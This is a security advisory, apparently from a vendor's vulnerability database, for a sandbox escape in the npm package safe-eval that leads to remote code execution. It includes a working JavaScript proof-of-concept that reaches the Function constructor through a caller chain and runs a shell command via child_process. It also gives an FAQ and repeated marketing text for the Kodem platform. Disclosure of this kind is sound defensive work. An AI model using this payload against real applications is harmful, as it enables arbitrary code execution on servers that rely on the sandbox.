Summary
Sandbox Breakout / Arbitrary Code Execution in safe-eval
All versions of safe-eval are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function's callee and caller constructors can escape the sandbox and execute arbitrary code.
For example, the payload
((() => {
const targetKey = Object.keys(this)[0];
Object.defineProperty(this, targetKey, {
get: function() {
return arguments.callee.caller.constructor(
"return global.process.mainModule.require('child_process').execSync('pwd').toString()"
)();
}
});
})();```
may be used to print the `pwd` to the console.
## Recommendation
No fix is currently available. Consider using an alternative package until a fix is made available.
Impact
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is GHSA-9PCF-H8Q9-63F6? GHSA-9PCF-H8Q9-63F6 is a high-severity security vulnerability in safe-eval (npm), affecting versions >= 0.0.0. No fixed version is listed yet.
- Which versions of safe-eval are affected by GHSA-9PCF-H8Q9-63F6? safe-eval (npm) versions >= 0.0.0 is affected.
- Is there a fix for GHSA-9PCF-H8Q9-63F6? No fixed version is listed for GHSA-9PCF-H8Q9-63F6 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is GHSA-9PCF-H8Q9-63F6 exploitable, and should I be worried? Whether GHSA-9PCF-H8Q9-63F6 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-9PCF-H8Q9-63F6 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.